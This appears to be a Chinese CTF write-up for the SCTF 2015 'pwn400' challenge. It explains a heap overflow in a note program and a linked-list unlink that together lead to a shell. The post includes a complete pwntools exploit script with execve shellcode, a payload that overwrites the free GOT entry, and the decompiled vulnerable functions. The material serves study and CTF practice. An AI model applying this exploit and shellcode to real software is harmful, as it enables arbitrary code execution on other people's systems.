标签:
这个题目模拟了堆溢出的情况,在一切条件都非常好的情况下(比如给出地址,DEP不开等),通过editnote溢出之后,直接使用unlink漏洞进行攻击。
先是3次new note,构建一个3个note的链表,然后show note查看这些note的地址,计算出需要的payload后,通过edit note修改第一个note,溢出改掉第二个note的prev和next指针,最后调用delete note删除第二个note,就可以成功拿到shell。
其中需要注意的是,因为unlink会修改shellcode的前面字节,所以需要对shellcode进行一下小的改写。
Data Structure:----------------------------------------
struct node{
node *this; // the address of this node
node *prev; // the address of the previous node
node *next; // the address of the next node
char title[64]; char type[32]; char content[256]; };
Exploit:--------------------------------------------------
#Exploit for pwn400@sctf
#@Windcarp 2015.08.17
from pwn import *
#init
context(arch = ‘i386‘, os = ‘linux‘)
local=True
if local:
p = process("./pwn400")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
else:
pass
binary = ELF("pwn400")
#address
free_addr = 0x0804a450
#payload
buf = "\x90\x90\x90\x90\x90\x90"+"\xeb\x08"+"AAAA"+"\x90"*10+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x59\x50\x5a\xb0\x0b\xcd\x80"
#shellcode need to change due to unlink
#pause for gdb to attach
raw_input()
#first step
#attention to fit the program well
#insert node 1
p.recvuntil(">> ")
p.send(‘1‘ + ‘\n‘)
p.recvuntil("title:")
p.send(‘1111‘ + ‘\n‘)
p.recvuntil("type:")
p.send(‘1111‘ + ‘\n‘)
p.recvuntil("content:")
p.send(‘1111‘ + ‘\n‘)
#insert node 2
p.recvuntil(">> ")
p.send(‘1‘ + ‘\n‘)
p.recvuntil("title:")
p.send(‘2222‘ + ‘\n‘)
p.recvuntil("type:")
p.send(‘2222‘ + ‘\n‘)
p.recvuntil("content:")
p.send(‘2222‘ + ‘\n‘)
#insert node 3
p.recvuntil(">> ")
p.send(‘1‘ + ‘\n‘)
p.recvuntil("title:")
p.send(‘3333‘ + ‘\n‘)
p.recvuntil("type:")
p.send(‘3333‘ + ‘\n‘)
p.recvuntil("content:")
p.send(‘3333‘ + ‘\n‘)
#second step
p.recvuntil(">> ")
p.send(‘3‘ + ‘\n‘)
p.recvuntil("title:")
p.send(‘1111‘ + ‘\n‘)
p.recvuntil(‘location:‘)
data = p.recvuntil(‘type:‘)
print "[*] data 1 : ",repr(data[2:9])
note1_addr = int(data[2:9],16)
p.recvuntil(">> ")
p.send(‘3‘ + ‘\n‘)
p.recvuntil("title:")
p.send(‘2222‘ + ‘\n‘)
p.recvuntil(‘location:‘)
data = p.recvuntil(‘type:‘)
print "[*] data 2 : ",repr(data[2:9])
note2_addr = int(data[2:9],16)
note2_addr_str = data[2:9]
shellcode_addr = note1_addr + 108
#content for node 1
payload = buf + (256 - len(buf)) * ‘a‘ +‘H‘ * 4 + p32(note2_addr) + p32(shellcode_addr) + p32(free_addr - 4)
print "[*] payload :", repr(payload)
#third step
p.recvuntil(">> ")
p.send(‘4‘ + ‘\n‘)
p.recvuntil("title:")
p.send(‘1111‘ + ‘\n‘)
p.recvuntil("content:")
p.send(payload + ‘\n‘)
p.recvuntil(">> ")
p.send(‘5‘ + ‘\n‘)
p.recvuntil(‘location:‘)
p.send(note2_addr_str + ‘\n‘)
#yeah!We got the shell!
p.interactive()
Code:----------------------------------------
int __cdecl newnote(int src)
{
void *noteptr; // [sp+1Ch] [bp-Ch]@1
noteptr = malloc(364u);
write(1, "\nnote title:", 0xCu);
read(0, (char *)noteptr + 12, 63u);
write(1, "note type:", 0xAu);
read(0, (char *)noteptr + 76, 31u);
write(1, "note content:", 0xDu);
read(0, (char *)noteptr + 108, 255u);
*(_DWORD *)noteptr = noteptr;
write(1, "\n\n", 2u);
if ( *(_DWORD *)src )
{
*((_DWORD *)noteptr + 2) = *(_DWORD *)src; // 纯属误导好吧!
*(_DWORD *)(*(_DWORD *)src + 4) = noteptr;
*((_DWORD *)noteptr + 1) = 0;
*(_DWORD *)src = noteptr;
}
else
{
*(_DWORD *)src = noteptr;
*((_DWORD *)noteptr + 1) = 0;
*((_DWORD *)noteptr + 2) = 0;
}
return 0;
}
int __cdecl editnote(int a1)
{
size_t v1; // eax@4
int v3; // [sp+28h] [bp-410h]@1
char buf; // [sp+2Ch] [bp-40Ch]@1
int v5; // [sp+42Ch] [bp-Ch]@1
v5 = *MK_FP(__GS__, 20);
memset(&buf, 0, 0x400u);
v3 = a1;
if ( a1 )
{
write(1, "note title:", 0xBu);
read(0, &buf, 0x400u);
while ( v3 )
{
v1 = strlen(&buf);
if ( !strncmp(&buf, (const char *)(v3 + 12), v1) )
break;
v3 = *(_DWORD *)(v3 + 8);
}
write(1, "input content:", 0xEu);
read(0, &buf, 0x400u); // 漏洞在这!
strcpy((char *)(v3 + 108), &buf);
write(1, "succeed!", 8u);
puts((const char *)(v3 + 108));
}
else
{
write(1, "no notes", 8u);
}
return *MK_FP(__GS__, 20) ^ v5;
}
int __cdecl deletenote(int a1)
{
int v1; // ST20_4@1
int v2; // ST28_4@8
int v3; // ST2C_4@8
__int32 ptr; // [sp+24h] [bp-24h]@3
int buf; // [sp+32h] [bp-16h]@1
int v7; // [sp+36h] [bp-12h]@1
__int16 v8; // [sp+3Ah] [bp-Eh]@1
int v9; // [sp+3Ch] [bp-Ch]@1
v9 = *MK_FP(__GS__, 20);
buf = 0;
v7 = 0;
v8 = 0;
v1 = *(_DWORD *)a1;
if ( *(_DWORD *)a1 )
{
write(1, "note location:", 0xEu);
read(0, &buf, 8u);
ptr = strtol((const char *)&buf, 0, 16);
if ( *(_DWORD *)ptr == ptr )
{
if ( *(_DWORD *)a1 == ptr )
{
*(_DWORD *)a1 = *(_DWORD *)(*(_DWORD *)a1 + 8);
}
else if ( *(_DWORD *)(ptr + 8) )
{
v2 = *(_DWORD *)(ptr + 8); // unlink漏洞的利用
v3 = *(_DWORD *)(ptr + 4);
*(_DWORD *)(v3 + 8) = v2;
*(_DWORD *)(v2 + 4) = v3;
}
else
{
*(_DWORD *)(*(_DWORD *)(ptr + 4) + 8) = 0;
}
write(1, "succeed!\n\n", 0xAu);
free((void *)ptr);
}
}
else
{
write(1, "no notes", 8u);
}
return *MK_FP(__GS__, 20) ^ v9;
}
标签:
原文地址:http://www.cnblogs.com/windcarp/p/4735441.html